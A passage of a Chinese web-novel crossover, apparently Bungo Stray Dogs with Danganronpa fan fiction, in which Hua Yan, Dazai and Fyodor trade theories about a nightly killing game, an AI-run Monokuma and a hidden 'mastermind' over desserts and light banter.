“与谢野晶子”似想起了什麽,补充道:“由于我们都不知道出现这种情况的缘由,也是第一次看见你的实体,乱步先生暂时也只能看出晚上的学院不是目前为止知道的任何一个平行世界。为了防患于未然,在我即将出来时,他们都叮嘱我要多注意你的状态,不过现在看来,完全用不上我帮忙,你一个人好像挺游刃有余的。” “谢谢。” 花言没想到他弹珠打的那麽烂,十场战斗六场输,这些人都毫不介意,甚至还一心想帮他。 当即感动得热泪盈眶,掏出了一碗茶泡饭,“吃吗?” “与谢野晶子”:…… 怎麽对方这个时不时送茶泡饭的爱好还在。 “与谢野晶子”委婉拒绝,“不了,敦应该会很喜欢,我们就……” 花言懂了,手中一转,将茶泡饭换成了高级的豆腐汤。 “与谢野晶子”:…… “我突然想起来,医务室好像有点事需要我帮忙,如果你没其他我需要帮忙的事情,我就先走了。” “与谢野晶子”说着准备起身离开。 花言试图挽留,“真的不吃吗?我这边还有寿司之类的其他食物。” 不过这些东西不如茶泡饭和豆腐汤特殊,这两个是能够提升对方能力的材料,后面的就只是纯粹的食物。 “与谢野晶子”头也不回地摆了摆手,谢绝了对方的好意,“抱歉啊,花言,我已经吃过饭了,如果你有其他事或者受了伤可以来医务室找我,最近的医务室里都只有我一个人,森医生被我赶去副校长办公室了。” 花言应了一声,遗憾地目送对方身形渐行渐远,总觉得他们都分外抗拒茶泡饭和豆腐汤,难道是因为当初得到卡面时,他一鼓作气地用茶泡饭和豆腐汤把他们的级别都拉满了吗?以至于现在吃腻了? 花言目光落在手中无属性的豆腐汤上,又看了看还没吃完的包子,抱着变都变了不能浪费的想法,一口豆腐汤一口包子独自享用。 吃完早饭他慢悠悠地散步消食,去了“涩泽龙彦”那边想看对方跟中岛敦相处的怎麽样,虽然现在是上课时间,但他相信“涩泽龙彦”一定也已经明白了中岛敦助手体验卡的短暂,会用社团活动的名义替中岛敦请假。 果不其然,当他到社团门口时,不出意外地看见了中岛敦兢兢业业帮忙的身影,“涩泽龙彦”站在对方身边比划测量着什麽,并时不时发出几声赞美之词,让本就束手束脚的中岛敦更加不好意思了。 他觉得中岛敦现在肯定也挺煎熬的,不然对方怎麽会在看见他的一瞬间露出某种得救了一样的如释重负呢? 看在这份信任上,花言决定提醒一下“涩泽龙彦”…… “涩泽龙彦”注意到门口出现的身影,抽空回头看了一眼,发现是花言后,暂停了手中要做的事,转身进了房间推出了一台小型冰箱放在沙发边。 花言立马领悟到了对方的意思,他蹲在沙发边打开冰箱,里面显然都是为他准备的甜点。 提醒的想法瞬间抛掷脑后,连带着一旁中岛敦投来的求救目光也选择性忽略。 花言两耳不闻窗外事地一心吃甜点,在吃的同时,他也没忘给费奥多尔发个信息,告诉对方他在“涩泽龙彦”这吃了,不用再麻烦对方带午饭。 时间临近下午,暖洋洋的阳光撒在身上有点困,花言懒得再走回寝室,干脆从“涩泽龙彦”这边拿了条毛毯躺在沙发上小憩,等时间差不多了再走。 如果忽略晚上的自相残杀游戏,花言觉得这种学院生活相当不错,甚至可以考虑直接来养老了。 黄昏的朦胧赤纱覆盖在这所开满樱花的校园,清澈的河水倒映出晚霞,其中漂浮着几片樱色花瓣悠悠浮过。 花言走过石桥刚准备收回视线,余光忽然注意到一片如梦似幻的河流里出现了不和谐的色彩。 他幽幽盯着随波逐流的那个东西,脑海里想起昨天对方挂在樱花树下的模样,怎麽想都觉得对方这副模样十有八九又是在查找自杀乐趣里等他。 毕竟第四层已经开启,太宰治该知道的都知道了,也是时候来找他要校长室内被他销毁的线索,又或者是跟他讨论能够尽快结束这场游戏的方法了。 考虑到他就算走了,对方也会突然一个鲤鱼跃龙门苏醒并喊住他。 花言决定这次要先发制人。 “喂,同学,这里不让睡觉。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 宛如镜面的河面上冒出几个泡泡,旋即那团浮在水面上的黑色物体猛地扑腾出大片水花,爆发出一阵撕心裂肺的咳嗽。 太宰治没想到花言会用这样的话作为开场白,以至于猝不及防之下不小心把河水吸进了气管。 好不容易把水咳了出来,他双手剥开贴在脸上遮住了视野的碎发,望向桥上站着的少年,后者双手撑在栏杆上,扎成一束的雪白长发垂落在身后伴随着微风轻轻扬起,那张因常年未见光而显得有些苍白的脸上看不出情绪,仿佛只是随口一说。 但太宰治知道对方这句话绝对是在回报自己之前的所作所为,意外的睚眦必报。 他幽幽地盯着对方,试图用视线表示谴责。 只可惜花言戴着墨镜,这份指责根本传达不到,他趁胜追击,使用了梅开二度的话术。 “我要……” “举报我破坏环境,对吗?” 太宰治抢先说出对方的台词,认命朝岸上游去的同时不忘发出抱怨,“啊啊……真是的,好不容易找到一处环境优美的地方想坠入长眠呢……” 花言觉得对方这有点没边界感了,“不要随便死在别人的学校里啊!” 完全没考虑过其他老师和同学的死活是吧! 太宰治站在岸边,拧着黑色制服外套的水,语气有些古怪,“死在晚上的学校可以,白天的就不行吗?明明‘校长’都同意我们可以死在白天,而且我也不是第一个死的……” 黑白熊一个吃一堑吃一堑的人工智能算是什麽校长…… 在花言即将反驳出声的前一秒,他又迅速意识到了什麽,转而似笑非笑地看着对方,“你是想通过我知道黑白熊究竟是不是校长,以及他们究竟是不是真的死了吗?” 太宰治并不在意被对方看穿目的,他微微耸肩,“是啊,毕竟对于夜晚的那所学校,你应该会比我们更为了解。” 花言没有第一时间回答,如果太宰治想直接从他这里得到答案的话,那上一次应该就问了,现在才问果然是已经通过数据室和校长室得到的线索,产生了某种猜测,想在他这里得到验证吧。 考虑到他不清楚副本究竟被系统缝合成什麽样了,也不知道该怎样才能结束,借此从对方那里反向套取线索也未尝不可。 “你的想法是怎样的?” “嗯……关于这一点,黑白熊当然不可能是校长,幕后黑手大概率也不是校长,校长和黑白熊一方应该是对立的。” 太宰治指尖点着下巴,似回忆般,“至于淘汰是否意味着死亡,我更倾向于不是,如果在离开数据室时,你没有骗我——学院生活是全程直播的,观众是那些被我们取代了身份的同位体,那‘被淘汰’应该是与他们位置互换,映射的也就是‘下场’成为‘观众’吧。” “为什麽你会这麽认为?万一是因为‘被淘汰’有了而空位,才让原本被挤出这个世界的人有了回来的契机呢?”花言一脸认真地提出了假设。 “大概是直觉?”太宰治竖起手指抵在脸颊边,煞有介事地说道:“你可是伟大的‘茶泡饭之神’和无所不知的‘算命先生’呢。” 即使花言知道太宰治其实不确定这个问题的答案,只是想故意通过这种方式观察他的反应得到确认,但在听见这句话时,他还是不可避免地单手捂住了墨镜下的眼睛,发出一声长叹。 “你一定要用这种方式来试探我吗?” 太宰治不置可否地笑道:“我可看见你让费奥多尔把与谢野同学喊走了哦,你应该是找她确认了吧?所以答案是什麽样的?” “你猜测的很对。”花言承认了对方的猜测,“那麽,对于如何结束那场游戏,你有什麽头绪吗?” “老实说,完全没有。”太宰治说着望向清澈见底的河流,叹了口气,“起初我认为操纵黑白熊的是你,因为黑白熊似乎很了解我们,也只会专门给我们做茶泡饭,在这点上,你不觉得很熟悉吗?” 花言:…… 这确实很熟悉,熟悉到花言想起了寄宿区二楼校长房间礼物盒里的茶泡饭、桌上只有他不在的合照、文件上调查记录的空白、储物柜里什麽都没有的事实。 不知怎麽,他突然有种不祥预感。 “但是你否认了这一点,这麽做于你而言也确实没有任何好处,如果是为了杀我们也没有这麽大费周章的必要。” 太宰治没有在意花言的沉默,只当对方在等他说完,“当然操纵黑白熊的也不可能会是校长,从得到的线索里可以看出黑白熊和校长是对立的两方,而黑白熊的性格又非常恶劣,所以它只会专门给我们做茶泡饭,应该是在借此暗指什麽。” 说到这里太宰治没有再开口,而是若有所思地盯着花言,后者面色平静,看似没有对这番话产生任何情绪变化。 然而实际上花言已经在摇晃系统、质问对方究竟给把他塞进什麽身份里了。 “花言。” 半晌,太宰治询问出声,“你是……” “我不是。” 花言知道对方想问什麽,总之先否认。 “原来不是吗?”太宰治似恍然大悟般点头,旋即又仿佛突然想起了什麽,“说起来,校长室里被你销毁的那些数据……能告诉我一下具体内容吗?” 对于已经答应过的事情,花言当然会信守承诺,他大致复述了一遍给对方。 太宰治一言不发地听着,直到对方声音停止,他才似察觉到什麽般,疑惑地发出一声单音,“咦?好像只有十五个人呢,你的不能告诉我吗?花言?” 原来在这等着他是吧? 花言言简意赅地提醒,“你猜我为什麽要销毁?” 当然是为了不想让别人知道他文件里调查报告都是空白的事实!如果现在告诉对方,岂不是相当于背刺了晚上的自己?! 不等太宰治回答,他将话题重新引上正轨,“数据室那扇暗门背后本该是操纵黑白熊的中枢,但是我在打开时发现里面已经被废弃了,而黑白熊说它不受任何人操控。” 太宰治闻言眉头微皱,意识到了花言这番话背后的意思。 花言手臂搭在桥沿的栏杆上,也没有出声去打扰对方。 许久,太宰治出声了,对方似没头没脑般,提及了一个看似跟话题毫不相干的问题。 “花言,你知道那个地方到底有几层吗?” “五层。”花言干脆利落地给予了对方答案,“虽然只差一层就能完全开启了,但是你也知道它补充了规则,我不能再强行打开了。” 太宰治缓缓眨了眨眼睛,感叹了一声,“比我想象中的要少呢。” 花言有些明白对方想怎麽做了。 该说不愧是正义的夥伴吗?终归还是走到这一步了。 他只觉得对方身上仿佛闪烁起了某种名为舍己为人燃烧自我的光辉。 太宰治只见桥上的少年表情不知怎麽突然变得感慨又感动了起来,并问道。 “你的意思是,想牺牲自己为我们打开第五层吗?” 太宰治:…… “我只是在感叹既然只剩下一层,那就说明我们应该已经得到大半的信息了,一些关键性的答案都可以确认了。” 花言:……哦,原来是这样。 “看起来你已经有所想法了。” “嗯。” 太宰治毫不犹豫地点头,“这个计划有百分之八十的可能直接结束这场游戏,在此之前,我想确认一下,花言你的‘才能’能够在被处刑时也不会死吗?” 花言眉头一皱,发现事情并不简单。 他斟酌着开口,“你的这个计划是正经计划吗?” 怎麽听起来像是想让他杀人、共沉沦一样? “当然。”太宰治脸上笑容愈发灿烂,“如果能的话,说不准我们今晚就能结束哦。” 花言并未直接告诉对方能还是不能,而是警惕地确认,“是什麽样的计划?” 太宰治视线扫过周围逐渐多起来的学生身影,朝对方招了招手。 花言会意地从桥上走到对方身侧,后者刚从河里爬出来,虽然衣物已经不滴水了,但在靠过来的一瞬间,花言还是不可避免地感受到了一股潮意。 “很简单,既然……” 太宰治的嗓音微微压低,还没来得及说完,身后忽然响起一道略有些熟悉的声音。 “花言。” 这一道声音同时吸引了他们两人的注意,也让这场交谈被迫停止。 花言下意识望去,发现是费奥多尔。 后者静静地站在两侧栽种着樱花树的小径中,手中提着几个纸袋,唇角带着淡淡的笑意,那双紫罗兰色的眼眸平静地望向他们这边。 与花言的侧重点不同,太宰治目光疑惑地停留在对方垂落在身前的吊坠上,那似乎是颗宝石,由于距离原因,他认不出究竟是什麽样的宝石,仅能够看清那颗宝石在夕阳下折射出的华丽色彩。 他还以为以费奥多尔的性格对这种华而不实的饰品没兴趣呢…… 太宰治刚想收回视线重新跟花言探讨计划,结果这一眼发现后者唇边挽起了一抹弧度,向对方挥了挥手表示回应。 太宰治:…… 明明花言的反应平淡又随意,但是不知怎麽,太宰治却看出了点热情和惊喜出来,甚至有种如果对方摘下墨镜,说不准那双眼眸里已经溢出喜悦了的错觉。 以至于他觉得这一幕有点似曾相识,仔细回想,发现昨晚对方似乎也是这样双标的。 好像有点不对劲。 太宰治表情严肃起来了。 他认认真真地观察了一下花言头上的紫色发带,又看向费奥多尔身前昨天都还没有的吊坠,他记得昨天遇见花言时,后者似乎从“涩泽龙彦”那取了什麽…… 不会吧,不会是他想的那样吧? 一瞬间,太宰治不仅看费奥多尔的视线微妙了起来,连带着看花言的视线也变得有些古怪。 花言回应完费奥多尔,重新把注意力落在了太宰治身上,“你的计划是什麽?” “没什麽,这个不着急……” 太宰治沉吟片刻,唇边重新扬起笑容,“有机会的话,我们下次再说。” 真的不着急吗? 花言对此颇为质疑,明明对方刚刚还说今晚就能结束呢。 “那我就回去了哦?” 花言将信将疑地踏出了一步。 “嗯。”太宰治唇边笑容不变,“下次见,花言。” “下次见……” 花言觉得太宰治有点怪怪的,但是看在费奥多尔似乎提了甜点等自己的份上,他决定下次再跟对方继续探讨这一点。 第82章 他顺着草坡回到了小径,走到费奥多尔身边,后者会意地打开纸袋给花言看了里面的东西,不出意料的,里面果然是甜点! “涩泽那的?” 花言记得他中午在那边的时候没吃完冰箱里的所有甜点,只挑选了几种特别喜欢的吃了,后面睡醒忘记了还有甜点没吃完,两手空空地就离开了。 费奥多尔轻轻摇了摇头,“是我依照您的口味新挑选的。” 花言:! 原来是对方特意买的、他没吃过的全新版本。 他垂落在身侧的手蠢蠢欲动,在矜持地等回去再吃与来都来了不吃白不吃之间摇摆不定。 费奥多尔轻易地从对方望着纸袋迟迟不动的反应里明白了对方的想法,善解人意地给予了台阶,“要尝尝吗?如果不合口味,现在还来得及再去买新的。” 既然对方都这样说了! 花言果断低头伸手进纸袋掏自己之前就期待无比的甜甜圈。 费奥多尔轻轻笑了一声,纵容地将纸袋完全打开,在对方低头专心致志摸索的功夫,他目光注意到雪白发丝间的那点樱粉。 像是一片残缺的花瓣,应该是对方刚刚跟太宰治一同站在河边樱花树下时不小心沾上的。 费奥多尔自然地抬起手将那片不和谐的色彩摘下,一片纯白中唯余那一缕深紫。 这一下顺眼了许多。 他余光透过花言看向河边站着的太宰治,后者面色愈发古怪,连带着视线也像是在看什麽不择手段的人渣般带着谴责意味。 只不过费奥多尔并未放在心上,他收回视线重新看向身前正兴致勃勃在纸袋里掏出了一个甜甜圈的少年,意有所指地问道。 “我是不是打扰你们了?” 花言咬了一口甜甜圈,发现是没吃过的全新口味,语气不自觉上扬了些许,裹挟上几分愉悦。 “没有。” 毕竟太宰治都说不急了,所以应该没什麽关系。 就算打扰了,那能叫打扰吗?那明明是他们聊的太久,浪费太多时间了,跟费奥多尔没一点关系。 “如果没有打扰到你们就好。”费奥多尔似松了口气般,更换了话题,“接下来,您是想去食堂吃晚餐,还是直接回宿舍……又或者是,还有什麽其他的事情需要做?” 花言顺着对方的话思考了一秒,他好像没其他需要做的事情了,食堂的晚餐也有点吃腻了,他记得宿舍里还有之前没吃完的甜点,再加上对方带的这些,哪怕不去食堂吃晚餐也可以,不过…… 万一费奥多尔要吃呢? 考虑到早上贴心的不是时候,现在花言势必要一雪前耻。 他做出了决定,“去食堂吧,我们一起吃晚餐,然后回宿舍。” 费奥多尔对此没有异议,他合拢纸袋提在另一侧,两人一同穿过周围喧嚣的人流走向食堂,此刻正值饭点,食堂里的人流比起上课时间段要多。 花言凭借在横滨擂钵街当“茶泡饭幽灵”的经验,在人群中来去自如,帮对方一起买了晚餐。 两人没有在食堂浪费过多的时间,吃完晚餐一同回了寝室。 随着时间的推移,天际的那抹余晖愈发黯淡,仅留下一抹赤红如血的色彩挂在天际。 花言用手中的电子学生手册打开了房门,率先进入开了灯,费奥多尔跟在对方身后顺带把门合拢。 寝室内维持着花言早上离开时的模样,费奥多尔除了必要的休息和给前者带饭之外,不怎麽回寝室。 花言丝滑地坐在了桌边,望着费奥多尔,其意思不言而喻,后者无奈地将纸袋里的甜品一一取出摆在对方面前。 花言近乎没怎麽犹豫,果断伸手拿起了新口味的甜甜圈。 此刻距离八点还有点时间,费奥多尔坐在对方对面撑着脸颊看对方吃这些怎麽都吃不腻的甜食。 脑海中回想起对方跟太宰治一同站在樱花树下的那一幕,还是有些在意,“您今天跟太宰君商量出要用的计划了吗?” “差不多?”花言有点不确定,他迟疑地说出了自己判断出的结论,“他没说具体计划,但是听起来像是想让我杀人的样子。” 费奥多尔眼底闪过一丝诧异,“让您杀人?” 这听起来不像是太宰治会做出的决定。 花言对此也颇为困惑,他将跟太宰治的谈话内容一字不落地复述给了对方,末了不忘跟对方讨论。 “你觉得他为什麽会表现出这样的意向?” 由于信息差的存在,花言也不知道太宰治究竟依照那些情报想到了哪方面。 费奥多尔沉吟着没有立即回答,他大致能够明白太宰治的想法,“我觉得,他或许不是想让您杀人,而是想让您站上嫌疑人的位置。” 花言:? “站上嫌疑人的位置?” 花言若有所思地重复了一遍,瞬间明白了太宰治想说的计划,“他从得到的线索,以及我跟黑白熊对立的事实里,认为我扮演着校长的角色,因此黑白熊一定想在我收集到所有线索、回想起这一点之前不择手段地除掉我……” 看在寄宿区二楼的那些东西,以及系统支支吾吾自己也不知道的反应,说不准他真的被塞进校长身份里了。 现在黑白熊都不用操纵、成自给自足的一体机了,校长玄幻一点拿复活重生的复仇剧本也很正常吧……? 这真的很正常……吗…? 花言突然产生了一瞬间的怀疑,并觉得系统缝合副本没有缝合到恋爱剧本就算了,怎麽还缝合到了隔壁热血复仇剧本。 以至于花言停顿了好几秒才接着说道:“所以,太宰治是想通过自杀创造出一个似他杀的陷阱,将我推上嫌疑最大的位置,看黑白熊究竟是会继续遵循公平的原则,还是会为了除掉我而打破自己的原则,将我处刑?” “嗯,如果创建在‘不存在幕后黑手’这一信息基础,这个计划可以说已经把除‘最后只能留下一个人’的结束可能都同时进行了。” 费奥多尔进一步解释。 “若是黑白熊为了除掉您而打破原则,后续他的同伴,或者您,就可以借此找到黑白熊的破绽,再加上最后一层已经开启,剩余的人也不是等闲之辈,今晚确实能够结束。相对的,若是黑白熊不会打破原则,那麽您有百分之五十的可能独自毕业,就算其他人在学级裁判中投票正确,在第五层已经开启的情况下,那所校园最后的秘密也会被揭开,最终也会迎来结束。” 花言觉得这个计划听起来有点熟悉,跟他记忆中的剧情相差无几,只不过从被动变成了主动,相当于是没有陷阱,就创造一个陷阱让黑白熊跳。 费奥多尔解释完,似有些惋惜般轻叹一声,“他的计划其实很不错,也确实有一定的可行性,如果我所掌握的信息跟他相同、站在他的立场,或许我也会制定出跟他相似的计划。” 花言:? 还有什麽他不知道的东西?对方在跟黑白熊的交易里究竟得到了多少东西啊?! “花言,黑白熊跟我说——‘幕后黑手’在我们之中。” 费奥多尔语气很轻,与语气截然相反的是给花言造成一击重击的内容。 幕后黑手在他们之中? 花言逐渐沉默,他不由得想起“观众席”这一个存在同时填充了副本中两个设置,难不成黑白熊只会给他们做茶泡饭的行为并不只是单纯在挑衅? 说起来也是,对方当初跟自己进行交易时,居然只用这一个信息就想让自己去送死。如果对方当时是纯粹的人工智能,是不是说明这个信息其实已经十分重要了? 况且,黑白熊会将这一点作为交易告诉费奥多尔,那就说明到后面肯定会有需要他们找出幕后黑手的这个环节。 众所周知,如果想达成完美犯罪,最简单的方式就是加害者和被害者是同一人,这样一来黑白熊一直想让自己去死这个意图,就不仅仅只是因为“校长”身份而这麽简单了…… 那麽这个幕后黑手会是谁呢?好难猜哦。 花言表面看似平静,实际上已经在脑海里再次找上了系统。 [马路牙子,黑白熊真的没有人操纵吗?] 【没有。】 系统尽职尽责地详细解释。 【为了方便,黑白熊纯粹是人工智能运行的。】 花言记得黑白熊的这个程序是依照“超高校级的绝望”写的,因此应该没有什麽乱七八糟的爱好才对,所以…… [你是不是偷偷加了点什麽东西进去?] 系统没想到自家宿主居然如此敏锐,这让它逐渐又意识到自己似乎又做了什麽不对劲的事情。 【为了让黑白熊能够了解你们所有人、更好的扮演“校长”这个职位,我在它程序里写进去了一点从宿主您身上采集到的数据……】 花言就知道。 [具体是哪些数据呢?] 具体说是哪些的话,系统也有些不确定,它只是把有可能会用到的都塞进去了。 【各个角色的信息、以及您的爱好之类的东西吧?】 花言:…… 他果然“身兼数职”了。 这一下直接成“超高校级的绝望”中的一份子了。 不过…… 他的爱好……? 花言有些费解。 [我说马路牙子啊……好歹我们也相处了近半年,你观察了我这麽久,你觉得我的爱好居然是茶泡饭吗?] 【呃……还有当流浪汉?】系统试探着回答。 不过这个有点不符合校长身份了,所以它没加进去。 花言:…… 人在无语的时候真的会想笑。 第83章 花言沉默的时间落在费奥多尔眼中显得有些久,前者挖起蛋糕的手端在半空中迟迟没有下一步动作,看起来这个信息给对方造成的影响有点大。 考虑到时间的紧迫,费奥多尔不得不出声重新唤回对方的注意。 “花言?” “嗯……”花言收拢思绪应了一声,顺带把手中叉子上的蛋糕送进嘴里。 清甜的奶油在舌尖蔓延,他墨镜下的眼眸不着痕迹地观察着对方的反应,主动询问。 “你觉得‘幕后黑手’会是谁?” “这可能要看‘幕后黑手’的定义,如果是从将我们带来这里、参与那场自相残杀游戏的角度来看,‘幕后黑手’的人选无疑是您,但是……您并未做出什麽加害我们的事情,因此我更趋于另一种定义。” 费奥多尔抬起眼眸,含笑注视着对方,反问道:“您觉得这个‘幕后黑手’现在存在吗?” 花言近乎是瞬间明白了对方的意思。 “幕后黑手存在于他们之中”其实也有可能是个伪命题。 目前他们已知控制中枢废弃、黑白熊无人操纵,十六人之中又没有任何一直在陷害彼此、不断拱火的存在,依照所得到的线索,那所学校里更没有任何多出来的十七人,因此“幕后黑手”此刻也可能并不存在,只是一个虚席。 如果他们依照黑白熊提出的“虚席”而相互猜疑彼此,以为这场自相残杀游戏结束方式是太宰治那个计划中唯一未能涉及的方面——最终只能有一个赢家。那麽独自毕业的那个人在某种程度上就等同于“幕后黑手”。 换句话说,只要最后剩下一个人,就是“幕后黑手”获胜。 怎麽听起来有点赖皮? 是黑白熊的程序加入了太多乱七八糟的东西,以至于计谋升级了吗? 花言再次陷入了沉思。 “至于‘校长’……”费奥多尔提及了另一个对立的身份,“我认为您其实并不一直是‘校长’,而是后来才扮演的这个身份。” 毕竟从笔记中来看,对方之前是没有实体的。 在对方没有实体、还未跟学生版的他们交流的时候,学院就已经存在了,因此在此之前,白天的学院应该是有一个普通人校长的。 而从夜晚那所“希望之峰学园”来看,那所校园应该已经废弃很久了,其中他们的学生数据都是依照白天学院的数据填充的,没有实体的花言自然不可能有任何数据,再加上黑白熊对花言的针对,后者会被牵引上“希望之峰学园”中众矢之的校长身份也很正常。 花言瞳孔地震,没想到费奥多尔居然能透过表象看见本质。 费奥多尔注意到对方停顿了好一会儿才想起来吞下嘴巴里的蛋糕,唇边弧度加深,“我猜对了吗?” 花言感动地点头,毫不犹豫地肯定了对方的猜测,“确实如此。” “夜晚失忆状态下的您,会知道这一点吗?” 费奥多尔见对方面前的蛋糕盒快空了,又打开了一盒新的放在对方面前。 “不会……” 花言遗憾地摇头,夜晚失忆状态下的他别说怀疑自己是校长和幕后黑手了,在听见自己储物柜是空的时,他产生的念头也只是在——“又被孤立了,好无助”与“谁把他东西偷走了?黑白熊吗?”这两个里徘徊。 更主要的原因是他跟不知道自己跟茶泡饭的渊源,如果他能想起来茶泡饭的话,说不准能明白一切。 “我也是。” 费奥多尔脸上也露出了些许苦恼,“您应该看见我宿舍里的东西了,也应该能够明白我想用的计划。起初我是打算先控制住您,等了解完全部再思考要怎麽绕过您棘手的‘才能’独自毕业的,这样一来‘幕后黑手’是谁都跟我没关系,只不过……” “在寄宿区二楼所得到的信息,让你更改了原定的计划。” 花言知道对方的想法,他分析道。 “你想利用黑白熊会提出的查找‘幕后黑手’环节,将我先锤在‘幕后黑手’的位置上,让我被处刑,或者是使我成为众矢之的存在,鼓动其他人为了离开而下手。这样一来无论最后是仅有我存活,还是我被除掉,对于你来说都是更为合适的行动时机,是吗?” 费奥多尔对于花言对自己的了解已经习以为常,他微微点头,做出总结,“晚上的您无论会不会在寄宿区二楼为了灭口而杀死我,对于您来说,都已经是死局了。” 花言沉思着没有立即回答。 在这一点上,确实如费奥多尔所说。 暂且不提他不可能杀费奥多尔,就算是他狠下心为了灭口而杀了。 以黑白熊针对他的程度来看,说不准他前脚刚杀,后脚黑白熊就能快速进入查找‘幕后黑手’环节,给他们开放校园所有地方,这样一来,费奥多尔的尸体肯定会暴露,他马上就会进入学级裁判然后被处刑。 而如果不杀,他也没办法一直控制住费奥多尔,果戈里一定会因光盘中的内容为了杀掉后者而查找对方。 因此不管他怎麽做,费奥多尔的计划肯定会按部就班地上演。 如果是这样其实倒也没什麽,就是…… 昨天晚上他花费了那麽多精力和代价进了费奥多尔宿舍,又得到了一个那麽好的时机,自然不可能只是简单地搜索一遍对方房间、研究对方想用的计划。 花言回想了一下昨天晚上自己干的事,沉默不语,只是一味地吃甜品。 费奥多尔察觉到对方情绪有点沉重,以为对方是在为即将到来的事情而烦恼。 如果对方想要抢夺回这个世界的控制权,那自然不能在晚上的自相残杀游戏中出局,也不能成为“幕后黑手”让黑白熊获胜。 他垂下眼眸遮住了眼底的神色,思索着缓缓开口。 “所以……您要不要趁现在还没到八点,尝试一下太宰治所说的计划?” 花言动作微顿,“尝试一下太宰治说的计划?” 是他想的那样吗? “嗯,现在的我们没有失忆不是吗?虽然这种方法不一定能快速结束那场自相残杀游戏,但却能够让您破解晚上的死局。” 费奥多尔单手撑着下巴,一双紫罗兰色的眼眸抬起时只剩下纯粹的笑意,他目光游移在对方苍白脸庞上,观察着对方每一个细微的反应,“我说过的,有机会……我也想成为您的合作夥伴。” “我愿意为了您而出局。”他苍白俊美的脸上绽开笑容,最后吐露出的名字在被放轻的嗓音下显得有些缱绻,“花言。” 突然被美色冲击了一下的花言努力打捞自己的意识,他把脸埋进了手里,虽然隐约知道对方可能是从昨晚他在失忆状态下的反应里察觉了什麽,想要借此确认那些猜想,但是这也是没办法的事情。 半晌,花言把脸慢吞吞地从手中抬起,顺带扶了一下墨镜,还是遵循内心说出了最为真实的回答。 “我不希望你这麽做。” 哪怕是知道不会真的死亡也一样。 费奥多尔听见对方亲口说出的坦诚,笑容中裹挟上真心实意的愉悦,他自然能够分辨此刻对方话语中的真假,同样的,从对方刚刚想要回避的反应里来看,现在他们之间的关系也还不适合再更进一步的深入。 费奥多尔恰到好处地退回了一步,将话题重新转移到正轨。 “那您想好要怎样破解晚上的死局了吗?” 问得好,一句话让花言再次回想起要面临的尴尬。 他试图委婉地暗示,“你应该也已经知道了,无论是白天的我,还是晚上失忆状态下的我,都很了解你,所以在搜索完你宿舍的时候,我就会猜到到你想用的大致计划……” 费奥多尔安静地听着,见对方没有再继续开口,像是在犹豫般,善解人意地问道:“您为了报复我控制住你的行为,将我计划中要用的东西都藏起来了?” 如果是那样就好了。 花言沉痛地摇头,“不是……” 费奥多尔也有些迟疑起来了,“那是……将那些东西毁掉了?如果是这样,也不足以给晚上的我造成多大的困扰。” 不如说,晚上的他在看见花言站在门边的一瞬间就已经预想好了各种最坏可能。 “也不是……” 花言有些欲言又止,在对方愈发疑惑的视线下,他飞速将最后一口蛋糕塞进嘴里,“你晚上就知道了。” 费奥多尔微微愣了一瞬,旋即贴心地给对方倒了杯水,无奈地轻叹。 “您这样的回答会让我更好奇起晚上将发生的事情。” 花言双手捧着杯子,嘴唇碰在水面没有出声,听见这句话,杯子里的水面冒出一个小小的气泡,由衷希望对方还是不要好奇比较好。 …… 似不合时宜的走神,脑海中好一会儿才调回此刻的记忆。 花言望着站在破旧储物室中的清瘦身影,耳边似乎仍旧缭绕着对方近乎是明知故问的问题——“接下来我是不是要死了?” “怎麽会呢?” 花言用与对方回答自己时的语气给予了对方答复,他抬起脚步离开门口的位置,走近了费奥多尔,自然地在对方身边停下,开始翻看起储物柜中的那些东西。 费奥多尔不动声色地观察着身侧的少年,后者手腕处留着淡淡的红痕,没有强行刮蹭的痕迹,翻动纸张时手指的动作也十分自然,看起来对方并没有花多少功夫在脱手铐上。 对方斗篷下两只手都没有拿东西,袖子里也没有任何坚硬物品的轮廓,包括腰际与腿部都没有问题…… 所以对方确实是两手空空过来的? 在已经搜索完他宿舍后,对方不仅没有想杀自己的意思,也没有想要将他困在这里的想法吗? 费奥多尔眼底闪过一丝困惑,没等他更进一步思索些什麽,只听对方忽然出声了。 “能帮我念一下上面的内容吗?” 花言将里面的笔记本都拿了出来,随意翻看了一下,模糊的视野仅能看清上面似乎有字,直觉告诉他,刚刚成功吓到费奥多尔的原因肯定跟上面的内容脱不开关系。 “当然。” 费奥多尔没有拒绝,他也很想知道对方在得知笔记中内容的反应。 笔记中的内容其实并不多,只是写的十分零散,以至于大部分时间花言都只能听见纸张翻页的声音。 听完全部内容,他表情有些古怪,“笔记里的内容听起来有点像是鬼故事。” 学院线什麽时候爆改灵异频道了? 费奥多尔对此不置可否,他目光望向其他被封死的储物柜,询问对方的意见,“其他的要开吗?” 花言觉得其他的可能也没什麽线索,他微微摇了摇头,“回去吧。” 费奥多尔闻言似疑惑般,“校长房间您不去看了吗?” “我看过了。” 花言坦然承认了这一点,他刚刚就是从校长房间过来的,不过对方会主动提及这点肯定不会是单纯好心,所以…… 对方是怀疑笔记中出现的“他”实际上就是他吗? 还是校长房间里已经被损坏的视频里出现了什麽东西,以至于对方对自己的身份有了什麽新的推测? “视频里……”花言停顿了一秒,还是问道:“你看见了什麽?” 费奥多尔会主动提及校长房间就是为了让对方问这一点,他仔细描述给了对方,最后不忘提及,“想要打开校长房间的暗门需要输入账户名,我不知道账户名,所以是直接跳过身份核验环节打开的暗门,通常这种地方该输入的都是密码,需要输入账户名的还是第一次见呢。” 在听见对方描述的视频内容时,花言就有种莫名的熟悉,现在补充的“账户名”更是验证了他的猜想。 联想到所得到的那两张学院线的照片、校长室里文件数据中的调查报告、储物柜里的笔记和随身物品,他还有什麽不明白的? 这学院线分明是他刚下的卡池! 他好不容易等到冬季系列学院卡池开放,才终于收集齐这个系列,怎麽在这里像是已经收集齐很久的样子,他丢失的记忆好像不是一星半点儿。 现在究竟是个什麽时间线了?! 这给他干哪来了?! 花言大为震撼,在这份震撼流露出的一瞬间,他又猛然意识到不对。 费奥多尔是故意告诉他这点的,不出意外,对方肯定也已经得到了想要的答案。 果不其然,耳边响起费奥多尔放轻的嗓音,优雅又从容不迫,在寂静破败的走廊产生了细微的回声,无端让人产生一种被什麽东西盯上的危险感。 “您似乎想到了什麽?” 近乎停止呼吸的花言不合时宜地想到他刚刚吓费奥多尔的行为,有点怀疑对方是不是为了报复他才会故意选择在这个时候说出来。 花言没有回答对方,而是先反问,“你的猜想是什麽?” “您真狡猾。”费奥多尔轻轻笑了一声,似乎心情极好,“明明是我先问您的。” 